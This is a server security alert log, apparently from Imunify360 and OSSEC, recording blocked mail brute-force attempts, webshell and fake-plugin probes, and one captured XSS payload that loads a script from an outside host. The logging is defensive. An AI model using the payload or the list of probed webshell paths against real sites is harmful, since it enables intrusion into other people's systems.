name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 22 19:31:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 19:31:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 19:32:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 19:39:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 19:39:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.253.195.180
country_id: 1512440
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/our-clients HTTP/1.1||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.78.165.192
country_id: 1605651
description:
Jul 22 19:42:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.78.165.192 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.78.165.192
country_id: 1605651
description:
2026-07-22 19:42:28 dovecot_login authenticator failed for H=([118.91.176.243]) [110.78.165.192]:47203: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.106.102
country_id: 1269750
description:
Jul 22 19:42:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.106.102 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.102
country_id: 1269750
description:
2026-07-22 19:42:38 dovecot_login authenticator failed for H=([117.40.175.86]) [182.95.106.102]:45330: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.229.94
country_id: 1269750
description:
2026-07-22 19:42:51 dovecot_login authenticator failed for H=([67.201.57.102]) [152.52.229.94]:37752: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 19:43:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.96.106.175
country_id: 1269750
description:
Jul 22 19:43:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.96.106.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.96.106.175
country_id: 1269750
description:
2026-07-22 19:43:24 dovecot_login authenticator failed for H=(7.248.146.34.bc.googleusercontent.com) [14.96.106.175]:48238: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 19:49:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.163.127.14
country_id: 1269750
description:
Jul 22 19:52:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.163.127.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 19:51:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.163.127.14
country_id: 1269750
description:
2026-07-22 19:52:04 dovecot_login authenticator failed for H=([119.196.213.196]) [122.163.127.14]:4914: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.45.101
country_id: 2661886
description:
2026-07-22 19:52:24 dovecot_login authenticator failed for H=78-66-45-101-no2550.tbcn.telia.com (70-88-108-12-plymouth-air-cooled-equipment-mi.hfc.comcastbusiness.net) [78.66.45.101]:50058: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.66.45.101
country_id: 2661886
description:
Jul 22 19:52:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.66.45.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 19:52:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.59.226
country_id: 337996
description:
Jul 22 19:55:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.59.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-22 19:55:09 dovecot_login authenticator failed for H=([82.162.56.186]) [196.189.59.226]:52637: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 19:55:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-22 19:55:33 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net (wsip-70-184-65-81.oc.oc.cox.net) [71.229.1.186]:51142: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.141.48.56
country_id: 2260494
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/ HTTP/1.1||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.229.1.186
country_id: 6252001
description:
Jul 22 19:55:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.229.1.186 has been locked due to Imunify RBL


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 172.202.100.37
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/json.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.100.37
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/cochinbigbandsho/public_html/wp-admin||


plugin: modsec
rule: 77350296
name: IM360 WAF: Block access to the shell
abuser: 172.202.100.37
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block access to the shell||MV:/wp-content/plugins/seoplugins/mar.php||RSV:8.34||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.153.46.43
country_id: 1269750
description:
2026-07-22 19:58:06 dovecot_login authenticator failed for H=(ip103-31-38-92.cloudhost.web.id) [202.153.46.43]:35024: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.153.46.43
country_id: 1269750
description:
Jul 22 19:58:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.153.46.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.29.17.193
country_id: 294640
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es35?Itemid=101&catid=18 HTTP/1.1||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.100.37
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/images/admin.php||SC:/home/cochinbigbandsho/public_html/images/admin.php||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 172.202.100.37
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/423_index.php||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.95.176.243
country_id: 1835841
description:
Jul 22 19:57:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.95.176.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.95.176.243
country_id: 1835841
description:
2026-07-22 19:57:56 dovecot_login authenticator failed for H=([27.24.141.161]) [210.95.176.243]:42889: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.202.100.37
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/cochinbigbandsho/public_html/wp-includes||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 172.202.100.37
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/wp-conflg.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 172.202.100.37
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/admin-post.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 172.202.100.37
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/classwithtostring.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.100.37
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-includes/images/autoload_classmap.php||SC:/home/cochinbigbandsho/public_html/wp-includes||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 20:00:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.52.161.203
country_id: 6252001
description:
2026-07-22 20:01:59 dovecot_login authenticator failed for H=([196.189.124.229]) [64.52.161.203]:57506: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.33.109.170
country_id: 2077456
description:
Jul 22 20:02:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.33.109.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.33.109.170
country_id: 2077456
description:
2026-07-22 20:02:19 dovecot_login authenticator failed for H=27-33-109-170.tpgi.com.au (netacc-gpn-5-42-158.pool.yettel.hu) [27.33.109.170]:35398: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-22 20:03:03 dovecot_login authenticator failed for H=([183.99.218.72]) [185.15.82.135]:60921: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://hammer.x0.to/cgi/support/support_bbs.cgi?list=thread\">Click here</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 72.57.65.124
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://mzgtv01.com\">\xed\x95\xb4\xec\x99\xb8\xec\xb6\x95\xea\xb5\xac</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 20:11:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 20:12:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 46.226.166.112
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.34||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script/async/src=//sorrelalmanac.top/alias/metrics-render.js></script>||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 20:13:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.123.125.246
country_id: 1168579
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:21433.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8ffe1fed8e097a14a335911f407179f05169effe||Title:tm5vle3k9ivk03sxc||RSV:8.34||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.99.40
country_id: 149590
description:
2026-07-22 20:18:26 dovecot_login authenticator failed for H=(111-70-7-136.emome-ip.hinet.net) [41.59.99.40]:55396: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.6.226.104
country_id: 6252001
description:
2026-07-22 20:18:37 dovecot_login authenticator failed for H=209-6-226-104.s4710.c3-0.wtr-cbr1.sbo-wtr.ma.cable.rcncustomer.com ([183.171.41.105]) [209.6.226.104]:58576: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.6.226.104
country_id: 6252001
description:
Jul 22 20:18:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.6.226.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.59.99.40
country_id: 149590
description:
Jul 22 20:18:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.59.99.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 20:18:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 38.47.191.134
country_id: 1880251
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/fefkadirectors/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 20:21:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 20:23:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.1.128
country_id: 1668284
description:
2026-07-22 20:24:56 dovecot_login authenticator failed for H=111-70-1-128.emome-ip.hinet.net ([172.251.252.216]) [111.70.1.128]:41254: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.148.134.155
country_id: 2077456
description:
Jul 22 20:24:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.148.134.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.148.134.155
country_id: 2077456
description:
2026-07-22 20:24:13 dovecot_login authenticator failed for H=([23.30.11.253]) [124.148.134.155]:47250: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.1.128
country_id: 1668284
description:
Jul 22 20:24:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.1.128 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.156.161.214
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/structured-cabling-systems HTTP/1.1||RSV:8.34||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.168.101.166
country_id: 6252001
description:
2026-07-22 20:26:36 dovecot_login authenticator failed for H=wsip-98-168-101-166.hr.hr.cox.net ([174.75.211.198]) [98.168.101.166]:42316: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.168.101.166
country_id: 6252001
description:
Jul 22 20:26:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.168.101.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.118.47.8
country_id: 1835841
description:
Jul 22 20:26:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.118.47.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.118.47.8
country_id: 1835841
description:
2026-07-22 20:26:48 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [111.118.47.8]:60248: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 20:27:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-22 20:27:47 dovecot_login authenticator failed for H=([205.250.25.62]) [196.188.93.169]:2270: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.11.34.221
country_id: 1210997
description:
Jul 22 20:27:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.11.34.221 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.11.34.221
country_id: 1210997
description:
2026-07-22 20:28:00 dovecot_login authenticator failed for H=113-11-34-221.broadband.smile.com.bd ([31.173.2.33]) [113.11.34.221]:56802: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.188.93.169
country_id: 337996
description:
Jul 22 20:27:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.188.93.169 has been locked due to Imunify RBL


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 194.114.136.4
country_id: 1861060
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icosuns/fonts/index.PHP||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 135.136.48.128
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.34||T:APACHE||SC:/home/ibmcglobal/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/up.php||


plugin: modsec
rule: 77350392
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.128
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoplugins/db.php?u||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.128
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/pwnd.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.128
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/bootstrap.php||SC:/home/ibmcglobal/public_html/wp-admin||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 160.250.133.240
country_id: 1562822
description:
2026-07-22 20:30:08 H=([160.250.133.240]) [160.250.133.240]:52702 F=<faithisabelL@faithsella.com> rejected RCPT <info@globalgroupoman.com>: Sender verify failed


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 135.136.48.128
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ibmcglobal/public_html/wp-includes||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.249
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/wp.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.249
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/wp.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.94
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/autoload_classmap.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.94
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/autoload_classmap.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 135.136.48.94
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.34||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.2
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/file.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.99
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/ibmcglobal/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.249
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-includes/images/media/dog.php||SC:/home/ibmcglobal/public_html/wp-includes||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.2
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/file.php||RSV:8.34||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.185.162.116
country_id: 1643084
description:
[2026-07-22 20:31:44 +0530] info [whostmgrd] 93.185.162.116 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.249
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/index.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.249
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoo/about.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.99
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/bypass.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.72
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/content.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.72
country_id: 102358
domain: ibmcglobal.com
description:
